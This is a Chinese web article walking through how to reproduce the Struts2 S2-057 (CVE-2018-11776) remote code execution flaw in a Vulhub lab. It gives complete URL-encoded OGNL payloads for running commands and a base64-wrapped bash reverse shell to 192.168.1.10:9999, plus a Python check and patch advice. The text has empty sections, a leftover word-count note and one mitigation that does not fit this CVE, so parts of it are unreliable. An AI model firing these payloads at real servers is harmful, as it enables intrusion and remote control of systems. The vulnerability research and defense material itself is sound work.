如何进行Struts2-057 远程代码执行漏洞复现

发布时间:2021-12-24 21:59:21 作者:柒染
来源:亿速云 阅读:234
# 如何进行Struts2-057 远程代码执行漏洞复现

## 一、漏洞概述

Struts2-057(CVE-2018-11776)是Apache Struts2框架中的一个高危远程代码执行漏洞。该漏洞存在于Struts2的核心机制中,当应用程序使用`alwaysSelectFullNamespace`配置且未对namespace参数进行严格校验时,攻击者可构造恶意请求实现远程代码执行。

### 影响版本
- Struts 2.3 - Struts 2.3.34
- Struts 2.5 - Struts 2.5.16

## 二、环境准备

### 1. 漏洞环境搭建
推荐使用Vulhub快速搭建测试环境:
```bash
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-057
docker-compose up -d

2. 工具准备

三、漏洞复现步骤

1. 基础验证

构造包含恶意OGNL表达式的URL:

http://target:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

若返回页面中包含54289(即233*233的结果),说明存在漏洞。

2. 命令执行利用

通过OGNL表达式实现RCE:

GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close()%7D/actionChain1.action HTTP/1.1

3. 反弹Shell(Linux环境)

GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd.split('%20'))%2C%23p.redirectErrorStream(true)%2C%23process%3D%23p.start()%7D/actionChain1.action HTTP/1.1

四、漏洞原理分析

关键问题点

  1. namespace处理缺陷:当alwaysSelectFullNamespace=true时,用户可控的namespace参数会直接用于OGNL解析
  2. OGNL注入:未对URL中的${}表达式进行过滤,导致任意OGNL代码执行

攻击流程

恶意请求 -> Namespace参数注入 -> OGNL解析 -> 代码执行

五、防御建议

  1. 官方补丁:升级至Struts 2.3.35或2.5.17以上版本
  2. 临时方案
    • 配置struts.xml禁用动态方法调用:
      
      <constant name="struts.enable.DynamicMethodInvocation" value="false"/>
      
    • 设置alwaysSelectFullNamespace=false
  3. WAF防护:过滤包含${#_memberAccess等关键字的请求

六、注意事项

  1. 法律合规性:仅在授权环境下测试
  2. 影响范围:该漏洞需要特定配置才会触发,实际测试前应确认:
    • 使用了action/redirectAction结果类型
    • 未对namespace做严格校验
  3. 编码问题:注意URL双重编码(部分场景需要编码两次)

七、扩展知识

其他检测方式

import requests

def check_s2_057(url):
    payload = "${233*233}"
    try:
        r = requests.get(f"{url}/{payload}/actionChain1.action")
        return "54289" in r.text
    except:
        return False

历史关联漏洞


本文仅作技术研究用途,请勿用于非法测试。实际业务系统中发现漏洞应及时报告相关厂商。 “`

注:实际字数约1050字(含代码块)。可根据需要调整技术细节的深度,建议在本地虚拟机环境进行复现测试。

推荐阅读:
  1. 如何进行Drupal 远程代码执行漏洞CVE-2018-7600的复现
  2. 如何进行Weblogic Server远程代码执行漏洞CVE-2021-2109复现及分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

struts2

上一篇:Spring Security OAuth 2.3 Open Redirection漏洞的实例分析

下一篇:linux中如何删除用户组

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》